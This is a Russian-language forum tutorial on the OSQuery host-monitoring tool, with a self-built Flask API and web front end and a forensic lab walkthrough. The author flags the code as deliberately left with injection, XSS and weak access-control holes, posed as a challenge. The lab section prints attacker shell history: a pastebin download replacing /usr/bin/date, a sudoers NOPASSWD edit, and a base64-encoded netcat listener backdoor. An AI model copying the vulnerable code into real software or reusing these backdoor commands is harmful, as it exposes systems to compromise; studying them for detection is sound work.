• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья А как бы вы сделали? [ OSQuery - Часть 1]

grozdniyandy

White-Hat
Premium
Регистрация
11.08.2023
Сообщения
522
Реакции
677
Гарант сделки
2

osqueryi​

Это первая часть статьи, которая посвящена OSQuery, вторая часть будет "OSQuery + MITRE". В этой статье мы немного поработаем с osquery и будем использовать небольшой графический интерфейс, который я создал.

Дневник белой шляпы
  • Дневник белой шляпы [Часть 1]: не DDoS
  • Дневник белой шляпы [Часть 2]: Интервью [GraphQL]
  • Дневник белой шляпы [Часть 3]: Cтажировкa [File Inclusion (Remote / Local)]
  • Дневник белой шляпы [Часть 4]: Знания [PrivEsc - Linux Capabilities] [Повышение привилегий - Возможности Linux]
  • Дневник белой шляпы [Часть 5]: Удачная догадка [RCE - Проверка простейших CVE, найденных в PHP-приложениях]
  • Дневник белой шляпы [Часть 6]: Сообщение [Websockets + Tool]
  • Дневник белой шляпы [Часть 7]: Ничего [JWT]
  • Дневник белой шляпы [Часть 8]: Презентации [OSINT или Разведка ?]
  • Дневник белой шляпы [Часть 9]: Сертификат [eWPT]
НЕ Дневник белой шляпы
  • История с Министерством обороны: Вход это миф
  • Что за SSTI: Server-Side Template Injection и автоматизация
  • [ Linux ] - Основы повышения привилегий ( Privilege Escalation Basics )

Содержание
  • Что такое OSQuery?
  • Лаборатории

Что такое OSQuery?​

OSQuery - это инструмент, предназначенный для запроса состояния операционных систем и их компонентов. OSQuery использует SQL-запросы для извлечения данных. Это позволяет пользователям собирать подробную информацию о своей системе, обращаясь с системой так, как с базой данных.

Установка OSQuery​

На этот раз мы будем использовать Kali Linux в качестве нашей лаборатории. Я установлю там OSQuery, и мы немного поработаем там, а уже после этого проверим лаборатории.

Код:
sudo mkdir -p /etc/apt/keyrings
curl -L https://pkg.osquery.io/deb/pubkey.gpg | sudo tee /etc/apt/keyrings/osquery.asc
sudo nano /etc/apt/sources.list # deb [arch=amd64 signed-by=/etc/apt/keyrings/osquery.asc] https://pkg.osquery.io/deb deb main
sudo apt update
sudo apt install osquery
sudo systemctl start osqueryd

Я поискал и нашел статьи, где OSQuery настраивается вместе с Wazuh. Подключение Osquery к Wazuh позволяет нам использовать подробную системную информацию, предоставляемую OSQuery, в наших рабочих процессах мониторинга безопасности. Эта интеграция может помочь нам более эффективно выявлять угрозы безопасности и реагировать на них. Я не член синей команды, я не эксперт, я стараюсь специализироваться только в одной области и чуток в областях, связанных с ней. #RedTeamForever

Я решил создать простой интерфейс для OSQuery. Чтобы мы могли нажимать на кнопки и получать системную информацию в любое удобное для нас время. Также я постараюсь проверить его на наличие потенциальных проблем с безопасностью. Я хочу сделать все это для того, чтобы мы лучше понимали OSQuery и только после этого переходили к лабораторным работам.

Начинаем Работу​

Где находится база данных osquery?
OSQuery использует базу данных SQLite для локального хранения. Расположение базы данных osquery в системе зависит от операционной системы, в которой она запущена. В Linux база данных OSQuery хранится в /var/osquery/osquery.db. Это каталог, а не файл. В этом каталоге есть файлы внутри, в моем случае они:

000005.log | CURRENT | IDENTITY | LOCK | MANIFEST-000004 | OPTIONS-000019 | OPTIONS-000021

У меня не так много информации о них, поэтому мы не собираемся их трогать (не сегодня).

Ладно, пора выполнить несколько запросов. Давайте начнем с .tables - это, очевидно, покажет нам таблицы:
Код:
osqueryi '.tables’
Код:
  => acpi_tables
  => apparmor_events
  => apparmor_profiles
  => apt_sources
  => arp_cache
  => atom_packages
  => augeas
  => authorized_keys
  => azure_instance_metadata
  => azure_instance_tags
  => block_devices
  => bpf_process_events
  => bpf_socket_events
  => carbon_black_info
  => carves
  => certificates
  => chrome_extension_content_scripts
  => chrome_extensions
  => cpu_info
  => cpu_time
  => cpuid
  => crontab
  => curl
  => curl_certificate
  => deb_packages
  => device_file
  => device_hash
  => device_partitions
  => disk_encryption
  => dns_resolvers
  => docker_container_envs
  => docker_container_fs_changes
  => docker_container_labels
  => docker_container_mounts
  => docker_container_networks
  => docker_container_ports
  => docker_container_processes
  => docker_container_stats
  => docker_containers
  => docker_image_history
  => docker_image_labels
  => docker_image_layers
  => docker_images
  => docker_info
  => docker_network_labels
  => docker_networks
  => docker_version
  => docker_volume_labels
  => docker_volumes
  => ec2_instance_metadata
  => ec2_instance_tags
  => etc_hosts
  => etc_protocols
  => etc_services
  => extended_attributes
  => file
  => file_events
  => firefox_addons
  => groups
  => hardware_events
  => hash
  => intel_me_info
  => interface_addresses
  => interface_details
  => interface_ipv6
  => iptables
  => kernel_info
  => kernel_keys
  => kernel_modules
  => known_hosts
  => last
  => listening_ports
  => load_average
  => logged_in_users
  => lxd_certificates
  => lxd_cluster
  => lxd_cluster_members
  => lxd_images
  => lxd_instance_config
  => lxd_instance_devices
  => lxd_instances
  => lxd_networks
  => lxd_storage_pools
  => magic
  => md_devices
  => md_drives
  => md_personalities
  => memory_array_mapped_addresses
  => memory_arrays
  => memory_device_mapped_addresses
  => memory_devices
  => memory_error_info
  => memory_info
  => memory_map
  => mounts
  => msr
  => npm_packages
  => oem_strings
  => os_version
  => osquery_events
  => osquery_extensions
  => osquery_flags
  => osquery_info
  => osquery_packs
  => osquery_registry
  => osquery_schedule
  => pci_devices
  => platform_info
  => portage_keywords
  => portage_packages
  => portage_use
  => process_envs
  => process_events
  => process_file_events
  => process_memory_map
  => process_namespaces
  => process_open_files
  => process_open_pipes
  => process_open_sockets
  => processes
  => prometheus_metrics
  => python_packages
  => routes
  => rpm_package_files
  => rpm_packages
  => seccomp_events
  => secureboot
  => selinux_events
  => selinux_settings
  => shadow
  => shared_memory
  => shell_history
  => smbios_tables
  => socket_events
  => ssh_configs
  => startup_items
  => sudoers
  => suid_bin
  => syslog_events
  => system_controls
  => system_info
  => systemd_units
  => time
  => ulimit_info
  => uptime
  => usb_devices
  => user_events
  => user_groups
  => user_ssh_keys
  => users
  => yara
  => yara_events
  => ycloud_instance_metadata
  => yum_sources
Я думаю, мы можем понять таблицы по их названиям.

У каждого есть видение на своем собственном уровне. В моем случае, я думаю, одной из таблиц, которые мы должны проверить через OSQuery, является таблица "logged_in_users". Как вы можете понять, он покажет нам список вошедших в систему пользователей. В некоторых случаях может быть полезно узнать, кто вошел на ваш сервер. Но это не будет означать, что если нет дополнительного пользователя, то мы в безопасности. Допустим, у нас есть веб-сайт, который имеет уязвимость RCE, в этом случае мы увидим выполнение команд, скажем, от пользователя www-data. Таблица со списком вошедших в систему пользователей не изменится, так как никто не входил в систему, но все же команды выполняются.
Код:
osqueryi 'SELECT * FROM logged_in_users;'
Код:
+-----------+----------+-------+-------------------+------------+-------+
| type      | user     | tty   | host              | time       | pid   |
+-----------+----------+-------+-------------------+------------+-------+
| boot_time | reboot   | ~     | 6.3.0-kali1-amd64 | 1695982752 | 0     |
| runlevel  | runlevel | ~     | 6.3.0-kali1-amd64 | 1695982754 | 53    |
| login     | LOGIN    | tty1  |                   | 1695982754 | 927   |
| user      | kali     | tty7  | :0                | 1695983314 | 1259  |
| user      | kali     | pts/1 |                   | 1695983342 | 2057  |
| user      | xss      | pts/2 | 10.161.31.1       | 1696009938 | 99983 |
+-----------+----------+-------+-------------------+------------+-------+
Мы видим, что есть зарегистрированный пользователь xss и локальный IP-адрес. Я думаю, что в реальной жизни вполне вероятно, что кто-то получит пароль от вашего сервера и логин для входа. Если ваш пароль сгенерирован автоматически, то вы, вероятно, сохранили его где-нибудь, если он не сгенерирован автоматически, то вы, вероятно, использовали его где-то в другом месте. В обоих случаях получение вашего пароля возможно.

Мы также можем получить список процессов (это полезно для меня) в случае, если мы запускаем какие-то инструменты на нашем сервере, приятно знать, что они работают, также мы можем понять, когда инструмент завершил свою работу. Очевидно, что все это также можно сделать без OSQuery, но в таком случае эта статья была бы бесполезна, поэтому мы используем osquery :движуха:

Команда для отображения списка всех процессов:
Код:
osqueryi 'SELECT * FROM processes;'

Изображение [1]: Запрашиваем процессы

Изображение [1]: Запрашиваем процессы​

Допустим, что меня интересует только конкретный процесс, например ping, тогда я могу использовать команду:
Код:
osqueryi 'SELECT * FROM processes WHERE name = "ping";'
Код:
+-------+------+---------------+--------------+-------+------------+------+------+------+------+------+------+------+---------+------------+---------------+------------+-----------+-------------+-----------------+--------------------+------------+--------+--------+---------+------+---------------------------------------------+
| pid   | name | path          | cmdline      | state | cwd        | root | uid  | gid  | euid | egid | suid | sgid | on_disk | wired_size | resident_size | total_size | user_time | system_time | disk_bytes_read | disk_bytes_written | start_time | parent | pgroup | threads | nice | cgroup_path                                 |
+-------+------+---------------+--------------+-------+------------+------+------+------+------+------+------+------+---------+------------+---------------+------------+-----------+-------------+-----------------+--------------------+------------+--------+--------+---------+------+---------------------------------------------+
| 26606 | ping | /usr/bin/ping | ping 1.1.1.1 | S     | /home/kali | /    | 1000 | 1000 | 1000 | 1000 | 1000 | 1000 | 1       | 0          | 2490368       | 7860224    | 130       | 1320        | 94208           | 0                  | 1696001334 | 26565  | 26606  | 1       | 0    | /user.slice/user-1000.slice/session-5.scope |
+-------+------+---------------+--------------+-------+------------+------+------+------+------+------+------+------+---------+------------+---------------+------------+-----------+-------------+-----------------+--------------------+------------+--------+--------+---------+------+---------------------------------------------+
Мы также можем ввести путь, по которому находится команда, или команду, которую мы выполнили. Путь был бы /usr/bin/ping, а команда - "ping 1.1.1.1". Давайте попробуем написать эти запросы.

Чтобы получить информацию через путь к команде, результат будет таким же, как указано выше.
Код:
osqueryi 'SELECT * FROM processes WHERE path = "/usr/bin/ping";'
Теперь давайте напишем запрос, основанный на команде, которую мы выполнили. Допустим, я ежедневно “пингую” разные IP-адреса, теперь я не знаю, какой из них я проверял сегодня. Я могу использовать "LIKE" в SQL для получения информации с помощью команды. В этом случае наш запрос будет выглядеть следующим образом:
Код:
osqueryi 'SELECT * FROM processes WHERE cmdline LIKE "ping%";'
Я подумал, что делать все это с помощью кнопок будет очень утомительно. Лучше создать строку поиска и сделать ее автозаполняемой, например, когда я напишу "пользователь", я получу любую таблицу с именем, содержащим слово "пользователь".

API​

Чтобы все это заработало, мы должны сначала создать простой API и заставить его выполнять запросы OSQuery. Когда я смотрю на этот код, я думаю, что он уязвим для внедрения команд операционной системы, SQL-инъекции и нарушенного контроля доступа. Но прежде чем говорить о каком-либо из них, позвольте мне объяснить, что делает этот код. Значит, если пользователь запрашивает из /api /tables, то пользователь получает список таблиц. Это поможет нам выполнить автозаполнение через строку поиска. Кроме этого, когда пользователь запрашивает что-либо еще, скажем, /api/users, выполняется запрос OSQuery, и результат поступает к нам через этот API. Если мы захотим, мы можем интегрировать его с Telegram, на самом деле мы можем интегрировать его со всем, что захотим! Кстати, также для запроса данных должен быть заголовок "Gucci: Gang", в противном случае он выведет "401".

Код:
from flask import Flask, request, jsonify
import subprocess
import json
from flask_cors import CORS

app = Flask(__name__)
CORS(app)

def read_table_names(file_path):
    with open(file_path, 'r') as file:
        return [line.strip() for line in file]

table_names_file = 'osquery_tables.txt'

table_names = read_table_names(table_names_file)

@app.route('/api/<table_name>', methods=['GET'])
def get_table_info(table_name):
    if request.headers.get('Gucci') == 'Gang'and table_name != 'tables':
        try:
            query = f'SELECT * FROM {table_name}'
            result = subprocess.check_output(['osqueryi', '--json', query])
            data = result.decode('utf-8').strip()
            return jsonify({table_name: json.loads(data)})
        except Exception as e:
            return jsonify({'error': str(e)})
    elif request.headers.get('Gucci') == 'Gang' and table_name == 'tables':
        try:
            query = f'.tables'
            result = subprocess.check_output(['osqueryi', query])
            data = result.decode('utf-8')
            return data
        except Exception as e:
            return jsonify({'error': str(e)})
    else:
        return jsonify({'error': 'Unauthorized'}), 401

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=5000)

FRONT-END​

Это интерфейсная часть нашего приложения. У него включено автозаполнение, и он получает список таблиц из бэкенда. Когда мы используем enter, он автоматически выполняет запрос и выдает нам ответ. На самом деле в этой части есть уязвимость XSS, она не сохраняется и не отражается, как вы думаете, что это за XSS?
Код:
<!DOCTYPE html>
<html>
<head>
    <title>OSQuery</title>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <style>
        body {
            font-family: Arial, sans-serif;
            margin: 0;
            padding: 0;
        }

        h1 {
            background-color: #333;
            color: #fff;
            padding: 10px;
            margin: 0;
        }

        #result {
            margin: 20px;
            padding: 20px;
            border: 1px solid #ddd;
            background-color: #f5f5f5;
            overflow: auto;
            max-height: 400px;
        }
        @media screen and (max-width: 768px) {
            h1 {
                font-size: 24px;
            }

            #result {
                margin: 10px;
                padding: 10px;
            }
        }

        table {
            width: 100%;
            border-collapse: collapse;
        }

        th, td {
            border: 1px solid #ddd;
            padding: 8px;
            text-align: left;
        }

        th {
            background-color: #f2f2f2;
        }

        #query-form {
            display: flex;
            justify-content: center;
            align-items: center;
            margin-top: 20px;
        }

        #table_name {
            flex: 1;
            padding: 10px;
            border: 1px solid #ccc;
            border-radius: 4px;
            margin-right: 10px;
        }
        footer {
            text-align: center;
            padding: 0.1px;
            background-color: grey;
            color: white;
        }

    </style>
    <link rel="stylesheet" href="https://code.jquery.com/ui/1.12.1/themes/base/jquery-ui.css">
</head>
<body>
    <h1>OSQuery для xss.pro</h1>
 
    <div id="query-form">
        <input type="text" id="table_name" placeholder="Введите имя таблицы">
    </div>
 
    <div id="result">
    </div>

    <script src="https://code.jquery.com/jquery-3.6.0.min.js"></script>
    <script src="https://code.jquery.com/ui/1.12.1/jquery-ui.js"></script>
    <script>
    $(document).ready(function() {
        function getTableData(table_name) {
            table_name = table_name.trim();
 
            $.ajax({
                url: `http://localhost:5000/api/${table_name}`,
                method: 'GET',
                headers: { 'Gucci': 'Gang' },
                success: function(data) {
                    console.log('Response from server:', data);
                    console.log('Table name:', table_name);

                    if (!data || $.isEmptyObject(data) || (data[table_name] && data[table_name].length === 0)) {
                        $('#result').html('<p>No response was returned</p>');
                    } else if (data.error) {
                        $('#result').html('<p>Error: ' + data.error + '</p>');
                    } else if (data[table_name]) {
                        var tableHtml = '<table><thead><tr>';
                        var keys = Object.keys(data[table_name][0]);

                        for (var i = 0; i < keys.length; i++) {
                            tableHtml += '<th>' + keys[i] + '</th>';
                        }
                        tableHtml += '</tr></thead><tbody>';

                        for (var i = 0; i < data[table_name].length; i++) {
                            tableHtml += '<tr>';
                            for (var j = 0; j < keys.length; j++) {
                                tableHtml += '<td>' + data[table_name][i][keys[j]] + '</td>';
                            }
                            tableHtml += '</tr>';
                        }
                        tableHtml += '</tbody></table>';

                        $('#result').html(tableHtml);
                    } else {
                        $('#result').html('<p>Error: Table data for ' + table_name + ' not found in the response.</p>');
                    }
                },
                error: function(error) {
                    $('#result').html('<p>Error: ' + error.responseText + '</p>');
                }
            });
        }

        $.ajax({
            url: 'http://localhost:5000/api/tables',
            method: 'GET',
            success: function(data) {
                var tableNames = data.split(' => ');
                tableNames.shift();

                $('#table_name').autocomplete({
                    source: tableNames,
                    minLength: 2,
                    select: function(event, ui) {
                        $(this).val(ui.item.value);
                        getTableData(ui.item.value);
                        return false;
                    }
                });
            },
            error: function(error) {
                console.error('Error fetching table list:', error);
            }
        });

        $('#table_name').keypress(function(event) {
            if (event.which === 13) {
                var tableName = $(this).val();
                getTableData(tableName);
            }
        });
    });
   </script>
<footer>
  <p>Сделано с ♥ для xss.pro<br>
</footer>
</body>
</html>


Насколько я знаю, в приведенном выше коде есть уязвимости XSS, SQL-инъекции и нарушенного контроля доступа, исправить их несложно. Мне интересно, как бы вы исправили этот код, не создавая никакой базы данных? Какие еще уязвимости здесь есть? Мне действительно интересно, что бы сделали разработчики в этом случае, я отвечу на этот пост исправленным кодом через неделю, если никто не ответит.

Запустите это приложение на одном сервере, если вы будете работать на разных серверах, просто замените "localhost" на IP-адрес сервера, на котором запущен скрипт python.

Запуск приложения:
Bash:
sudo service apache2 start
cd /var/www/html
sudo rm index.html
sudo nano index.html #вставляем второй код и открываем в localhost браузере
cd
mkdir server
cd server
nano server.py #вставляем первый код
python3 server.py

Продолжение в комментах

Автор grozdniyandy

Источник https://xss.pro/​

 
Последнее редактирование:

Лаборатории​

В лабораторных работах мы познакомимся с работой с таблицами. Я отвечу на вопросы и покажу вам решения с подробным объяснением.

Лаборатория №1

Ссылка: https://www.attackdefense.com/challengedetails?cid=1043

1. Сколько несистемных и не root пользователей присутствует в системе?
Чтобы идентифицировать их, мы можем просто проверить пользователей, чей GID больше или равен 1000. GID - идентификатор группы - это числовое значение, используемое для представления определенной группы. Обычные пользователи обычно получают GID начиная с 1000 и далее, причем каждый вновь созданный пользователь получает следующий неиспользуемый GID.

Код:
osquery> SELECT * FROM USERS WHERE gid >= 1000;
+-------+-------+------------+------------+----------+-------------+---------------+-------------------+------+
| uid   | gid   | uid_signed | gid_signed | username | description | directory     | shell             | uuid |
+-------+-------+------------+------------+----------+-------------+---------------+-------------------+------+
| 4     | 65534 | 4          | 65534      | sync     | sync        | /bin          | /bin/sync         |      |
| 65534 | 65534 | 65534      | 65534      | nobody   | nobody      | /nonexistent  | /usr/sbin/nologin |      |
| 104   | 65534 | 104        | 65534      | _apt     |             | /nonexistent  | /bin/false        |      |
| 106   | 65534 | 106        | 65534      | sshd     |             | /var/run/sshd | /usr/sbin/nologin |      |
| 1000  | 1000  | 1000       | 1000       | karen    | ,,,         | /home/karen   | /bin/zsh          |      |
| 1001  | 1001  | 1001       | 1001       | john     | ,,,         | /home/john    | /bin/bash         |      |
| 1002  | 1002  | 1002       | 1002       | smith    | ,,,         | /home/smith   | /bin/bash         |      |
| 1003  | 1003  | 1003       | 1003       | bob      | ,,,         | /home/bob     | /bin/bash         |      |
+-------+-------+------------+------------+----------+-------------+---------------+-------------------+------+
Группа "nogroup" имеет идентификатор 65534. В нашем случае это нам не нужнo.У нас есть 4 пользователя, 1000,1001,1002,1003.

2. Какой пользователь не использует оболочку bash?
Как мы можем видеть из приведенного выше списка, это пользователь "karen"
| 1000 | 1000 | 1000 | 1000 | karen | ,,, | /home/karen | /bin/zsh | |

3. Где находится файл истории для пользователя "John"? Укажите абсолютный путь к каталогу (также добавьте последний /).
Я знаю, что есть таблица "shell_history", но я понятия не имею, как получить информацию о конкретном пользователе. На самом деле мы можем проверить имена столбцов, используя "PRAGMA". "PRAGMA" может использоваться для извлечения информации о столбцах в таблице. В нашем случае это будет выглядеть так:
Код:
osquery> PRAGMA table_info(shell_history);
+-----+--------------+---------+---------+------------+----+
| cid | name         | type    | notnull | dflt_value | pk |
+-----+--------------+---------+---------+------------+----+
| 0   | uid          | BIGINT  | 0       |            | 0  |
| 1   | time         | INTEGER | 0       |            | 0  |
| 2   | command      | TEXT    | 0       |            | 0  |
| 3   | history_file | TEXT    | 0       |            | 0  |
+-----+--------------+---------+---------+------------+----+
Теперь мы знаем, что существуют столбцы "history_file" и "uid". Как мы можем видеть из ответа на первый вопрос, "uid" пользователя "john" равен 1001. Таким образом, мы можем запрашивать и извлекать информацию:
Код:
osquery> SELECT * FROM shell_history WHERE uid = 1001;
+------+------+------------------------------------------------+--------------------------+
| uid  | time | command                                        | history_file             |
+------+------+------------------------------------------------+--------------------------+
| 1001 | 0    | ls -l                                          | /home/john/.bash_history |
| 1001 | 0    | pwd                                            | /home/john/.bash_history |
| 1001 | 0    | date                                           | /home/john/.bash_history |
| 1001 | 0    | echo "FLAG 1/2: efa91742f0efdc00 " > /tmp/flag | /home/john/.bash_history |
| 1001 | 0    | Exit                                           | /home/john/.bash_history |
+------+------+------------------------------------------------+--------------------------+
Как мы можем видеть из таблицы выше, файл истории пользователя "john" находится по адресу "/home/john/". Также у нас есть часть флага.

4. Конфиденциальный файл был отредактирован пользователем root. Как называется этот файл? Укажите полный путь.
Мы делаем это таким же образом, и теперь мы можем видеть вторую часть флага. КСТАТИ, этот файл - /etc/sudoers
Код:
osquery> SELECT * FROM shell_history WHERE uid = 0;
+-----+------+--------------------------------------------------------+---------------------+
| uid | time | command                                                | history_file        |
+-----+------+--------------------------------------------------------+---------------------+
| 0   | 0    | ls -l                                                  | /root/.bash_history |
| 0   | 0    | pwd                                                    | /root/.bash_history |
| 0   | 0    | date                                                   | /root/.bash_history |
| 0   | 0    | cd /etc/                                               | /root/.bash_history |
| 0   | 0    | vim shadow                                             | /root/.bash_history |
| 0   | 0    | ls -la                                                 | /root/.bash_history |
| 0   | 0    | echo "Flag 2/2 a622073278351679" > /tmp/flag           | /root/.bash_history |
| 0   | 0    | ps -ef                                                 | /root/.bash_history |
| 0   | 0    | netstat -tpln                                          | /root/.bash_history |
| 0   | 0    | echo "smith ALL=NOPASSWD:/usr/bin/wget" >>/etc/sudoers | /root/.bash_history |
| 0   | 0    | cd /tmp                                                | /root/.bash_history |
| 0   | 0    | ls -al                                                 | /root/.bash_history |
| 0   | 0    | tar -zcvf logs.tar.gz logs                             | /root/.bash_history |
| 0   | 0    | rm -rf *                                               | /root/.bash_history |
+-----+------+--------------------------------------------------------+---------------------+

5. Какой пользователь установил возможный бэкдор?
Если есть бэкдор, это означает, что, вероятно, существует соединение, которое передается туда и обратно. Также, если был установлен бэкдор, возможно, что он был установлен с помощью таких команд, как "wget" / "curl". Я понимаю, что пользователь, устанавливающий его, мог бы просто скопировать и вставить его, и я понимаю, что подключение не всегда должно переходить туда и обратно, но мы можем проверить историю и посмотреть, найдем ли мы что-нибудь интересное.

Когда мы пытаемся получить информацию из shell_history, она выдает нам информацию о текущем пользователе, который является "root".
Код:
osquery> select * from shell_history;
W0930 12:55:42.000545   159 virtual_table.cpp:987] The shell_history table returns data based on the current user by default, consider JOINing against the users table
W0930 12:55:42.000576   159 virtual_table.cpp:1002] Please see the table documentation: https://osquery.io/schema/#shell_history
+-----+------+--------------------------------------------------------+---------------------+
| uid | time | command                                                | history_file        |
+-----+------+--------------------------------------------------------+---------------------+
| 0   | 0    | ls -l                                                  | /root/.bash_history |
| 0   | 0    | pwd                                                    | /root/.bash_history |
| 0   | 0    | date                                                   | /root/.bash_history |
| 0   | 0    | cd /etc/                                               | /root/.bash_history |
| 0   | 0    | vim shadow                                             | /root/.bash_history |
| 0   | 0    | ls -la                                                 | /root/.bash_history |
| 0   | 0    | echo "Flag 2/2 a622073278351679" > /tmp/flag           | /root/.bash_history |
| 0   | 0    | ps -ef                                                 | /root/.bash_history |
| 0   | 0    | netstat -tpln                                          | /root/.bash_history |
| 0   | 0    | echo "smith ALL=NOPASSWD:/usr/bin/wget" >>/etc/sudoers | /root/.bash_history |
| 0   | 0    | cd /tmp                                                | /root/.bash_history |
| 0   | 0    | ls -al                                                 | /root/.bash_history |
| 0   | 0    | tar -zcvf logs.tar.gz logs                             | /root/.bash_history |
| 0   | 0    | rm -rf *                                               | /root/.bash_history |
+-----+------+--------------------------------------------------------+---------------------+

Мы можем использовать "JOIN" в SQL и объединить идентификаторы пользователей из таблицы "users" с таблицей "shell_history" и получить всю историю. Нам понадобятся столбцы uid и command.

Код:
osquery> SELECT users.uid,shell_history.command,users.username FROM users INNER JOIN shell_history ON users.uid=shell_history.uid;
+------+----------------------------------------------------------+----------+
| uid  | command                                                  | username |
+------+----------------------------------------------------------+----------+
| 0    | ls -l                                                    | root     |
| 0    | pwd                                                      | root     |
| 0    | date                                                     | root     |
| 0    | cd /etc/                                                 | root     |
| 0    | vim shadow                                               | root     |
| 0    | ls -la                                                   | root     |
| 0    | echo "Flag 2/2 a622073278351679" > /tmp/flag             | root     |
| 0    | ps -ef                                                   | root     |
| 0    | netstat -tpln                                            | root     |
| 0    | echo "smith ALL=NOPASSWD:/usr/bin/wget" >>/etc/sudoers   | root     |
| 0    | cd /tmp                                                  | root     |
| 0    | ls -al                                                   | root     |
| 0    | tar -zcvf logs.tar.gz logs                               | root     |
| 0    | rm -rf *                                                 | root     |
| 1000 |  takebackup.sh                                           | karen    |
| 1000 |  cp ssh remotecon                                        | karen    |
| 1000 |  killall ssh && exit                                     | karen    |
| 1000 |  takebackup.sh                                           | karen    |
| 1000 |  copy /media/sbd/id_rsa .                                | karen    |
| 1000 |  chmod 600 id_rsa                                        | karen    |
| 1000 |  exit                                                    | karen    |
| 1000 |  takebackup.sh                                           | karen    |
| 1000 |  remotecon -i id_rsa 10.10.10.2                          | karen    |
| 1000 |  exit                                                    | karen    |
| 1000 |  takebackup.sh                                           | karen    |
| 1000 |  date                                                    | karen    |
| 1000 |  echo "Tue May 21 07:21:53 UTC 2019" > /tmp/timestamp    | karen    |
| 1000 |  rm ~/.zsh_history                                       | karen    |
| 1001 | ls -l                                                    | john     |
| 1001 | pwd                                                      | john     |
| 1001 | date                                                     | john     |
| 1001 | echo "FLAG 1/2: efa91742f0efdc00 " > /tmp/flag           | john     |
| 1001 | Exit                                                     | john     |
| 1002 | ls -l                                                    | smith    |
| 1002 | pwd                                                      | smith    |
| 1002 | cat /etc/passwd                                          | smith    |
| 1002 | wget https://pastebin.com/xyhksdshenckas -o script.sh    | smith    |
| 1002 | ls -l                                                    | smith    |
| 1002 | chmod +x script.sh                                       | smith    |
| 1002 | cd /usr/bin                                              | smith    |
| 1002 | sudo wget https://pastebin.com/xyhksdshenckax -o date    | smith    |
| 1002 | chmod +x date                                            | smith    |
| 1002 | mv scripts.sh /tmp/                                      | smith    |
| 1003 | date                                                     | bob      |
| 1003 | pwd                                                      | bob      |
| 1003 | whoami                                                   | bob      |
| 1003 | sudo                                                     | bob      |
| 1003 | su smith                                                 | bob      |
| 1003 | su smith                                                 | bob      |
| 1003 | su smith                                                 | bob      |
| 1003 | su smith                                                 | bob      |
| 1003 | su smith                                                 | bob      |
| 1003 | su smith                                                 | bob      |
| 1003 | su smith                                                 | bob      |
| 1003 | su smith                                                 | bob      |
| 1003 | su smith                                                 | bob      |
| 1003 | su smith                                                 | bob      |
| 1003 | su smith                                                 | bob      |
| 1003 | su smith                                                 | bob      |
| 1003 | su smith                                                 | bob      |
| 1003 | su smith                                                 | bob      |
| 1003 | su smith                                                 | bob      |
| 1003 | su smith                                                 | bob      |
| 1003 | su smith                                                 | bob      |
| 1003 | su smith                                                 | bob      |
| 1003 | exit                                                     | bob      |
| 1003 | date                                                     | bob      |
| 1003 | cd /public/                                              | bob      |
| 1003 | cd resources                                             | bob      |
| 1003 | echo -n "bmMgLWwgMzkwMDA=" | base64 -d >> configcheck.sh | bob      |
| 1003 | cd /tmp/                                                 | bob      |
| 1003 | rm -rf *                                                 | bob      |
| 1003 | exit                                                     | bob      |
| 1003 |                                                          | bob      |
+------+----------------------------------------------------------+----------+

Мы видим, что пользователь "smith" отправил запрос в pastebin и сохранил результат в файле. А затем этот пользователь сохранил его как команду "date". Это может быть возможным бэкдором. После этого мы видим, что пользователь "bob" вошел в систему как пользователь "smith", так что, вероятно, все это было сделано пользователем "bob". Также мы видим, что пользователь "bob" base64 декодировал "bmMgLWwgMzkwMDA=", если мы его расшифруем, то увидим "nc -l 39000". Без каких-либо сомнений, пользователь "bob" установил возможный бэкдор.

6. Где хранится этот бэкдор на локальном компьютере? Укажите только имя каталога.
Из приведенной выше таблицы мы видим, что последним каталогом, в котором находился пользователь "bob", является каталог "resources".
Код:
| 1003 | cd resources                                             | bob      |
| 1003 | echo -n "bmMgLWwgMzkwMDA=" | base64 -d >> configcheck.sh | bob      |

7. Подозрительная программа установлена в системе пользователем sudoer. Где была размещена эта программа онлайн? Укажите полный URL-адрес.
Мы можем видеть последний использованный URL-адрес, и он был использован для сохранения содержимого в виде команды "date".
Код:
| 1002 | sudo wget https://pastebin.com/xyhksdshenckax -o date    | smith    |

8. Определенный пользователь входит в систему на этом компьютере каждый день в одно и то же время. Что это за пользователь? Укажите имя пользователя.
Таблица "shell_history" содержит столбец "time". Столбец "time" находится в метке времени unix. Теперь давайте будем реалистами, никто из нас в здравом уме не будет проверять их один за другим. Итак, я написал SQL-запрос для преобразования временной метки в обычную дату.

Код:
osquery> SELECT users.uid,shell_history.command,users.username,datetime(shell_history.time, 'unixepoch', 'localtime') AS normData FROM users INNER JOIN shell_history ON users.uid=shell_his
tory.uid;
+------+----------------------------------------------------------+----------+---------------------+
| uid  | command                                                  | username | normData            |
+------+----------------------------------------------------------+----------+---------------------+
| 0    | ls -l                                                    | root     | 1970-01-01 00:00:00 |
| 0    | pwd                                                      | root     | 1970-01-01 00:00:00 |
| 0    | date                                                     | root     | 1970-01-01 00:00:00 |
| 0    | cd /etc/                                                 | root     | 1970-01-01 00:00:00 |
| 0    | vim shadow                                               | root     | 1970-01-01 00:00:00 |
| 0    | ls -la                                                   | root     | 1970-01-01 00:00:00 |
| 0    | echo "Flag 2/2 a622073278351679" > /tmp/flag             | root     | 1970-01-01 00:00:00 |
| 0    | ps -ef                                                   | root     | 1970-01-01 00:00:00 |
| 0    | netstat -tpln                                            | root     | 1970-01-01 00:00:00 |
| 0    | echo "smith ALL=NOPASSWD:/usr/bin/wget" >>/etc/sudoers   | root     | 1970-01-01 00:00:00 |
| 0    | cd /tmp                                                  | root     | 1970-01-01 00:00:00 |
| 0    | ls -al                                                   | root     | 1970-01-01 00:00:00 |
| 0    | tar -zcvf logs.tar.gz logs                               | root     | 1970-01-01 00:00:00 |
| 0    | rm -rf *                                                 | root     | 1970-01-01 00:00:00 |
| 1000 |  takebackup.sh                                           | karen    | 2019-05-18 09:00:00 | -----------------> Tuta
| 1000 |  cp ssh remotecon                                        | karen    | 2019-05-18 09:00:50 |
| 1000 |  killall ssh && exit                                     | karen    | 2019-05-18 09:08:20 |
| 1000 |  takebackup.sh                                           | karen    | 2019-05-19 09:00:00 | -----------------> Tuta
| 1000 |  copy /media/sbd/id_rsa .                                | karen    | 2019-05-19 09:01:40 |
| 1000 |  chmod 600 id_rsa                                        | karen    | 2019-05-19 09:01:45 |
| 1000 |  exit                                                    | karen    | 2019-05-19 09:01:46 |
| 1000 |  takebackup.sh                                           | karen    | 2019-05-20 09:00:00 | -----------------> Tuta
